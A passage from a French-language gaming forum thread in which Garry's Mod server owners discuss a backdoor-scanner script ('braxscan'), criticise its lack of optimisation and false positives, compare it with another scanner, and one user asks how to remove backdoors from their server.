end)


Commands dans la console > braxscan all 1
J'ai regardé les quelques premières lignes de code et y'a déjà du caca, il cite certaines fonctions qui sont pas utiliser en mode legit cependant, les metatable je les utilises certaines fois alors que je ne fais pas le moindre backdoor par exemple, j'ai pas continué la suite du code mais ce qu'il dit au début comme quoi c'est mal fait ou je sais pas quoi est totalement vrai x')
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
Valfunde à dit:
J'ai regardé les quelques premières lignes de code et y'a déjà du caca, il cite certaines fonctions qui sont pas utiliser en mode legit cependant, les metatable je les utilises certaines fois alors que je ne fais pas le moindre backdoor par exemple, j'ai pas continué la suite du code mais ce qu'il dit au début comme quoi c'est mal fait ou je sais pas quoi est totalement vrai x')
Exact , c'est clairement moins puissant que nomalua est vraiment pas opti..mais bon ^^' ça existe.
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
15 547
Score réaction
10 026
Points
1 840
FalkioGMR à dit:
Rien que la 1ere phrase:
Code:
-- Not optimized at all. Use at your own risk
Heu ba je prend pas xD
Il marche hein..
 
Valfunde

Valfunde

Helpeur Divin
Messages
4 301
Score réaction
1 389
Points
450
FalkioGMR à dit:
Rien que la 1ere phrase:
Code:
-- Not optimized at all. Use at your own risk
Heu ba je prend pas xD
Tu peux mais c'est juste pas opti quoi, mais tu scan, et tu vois ce que ca te dis, ensuite tu le vire ^^'
 
L

Lulu3869

Nouveau né
Messages
13
Score réaction
2
Points
25
comment enlever les backdoors de son serveur gmod car le scan du noma ne marche pas
 
L

Lulu3869

Nouveau né
Messages
13
Score réaction
2
Points
25
et se ne rep pas a ma question ?
 
Haut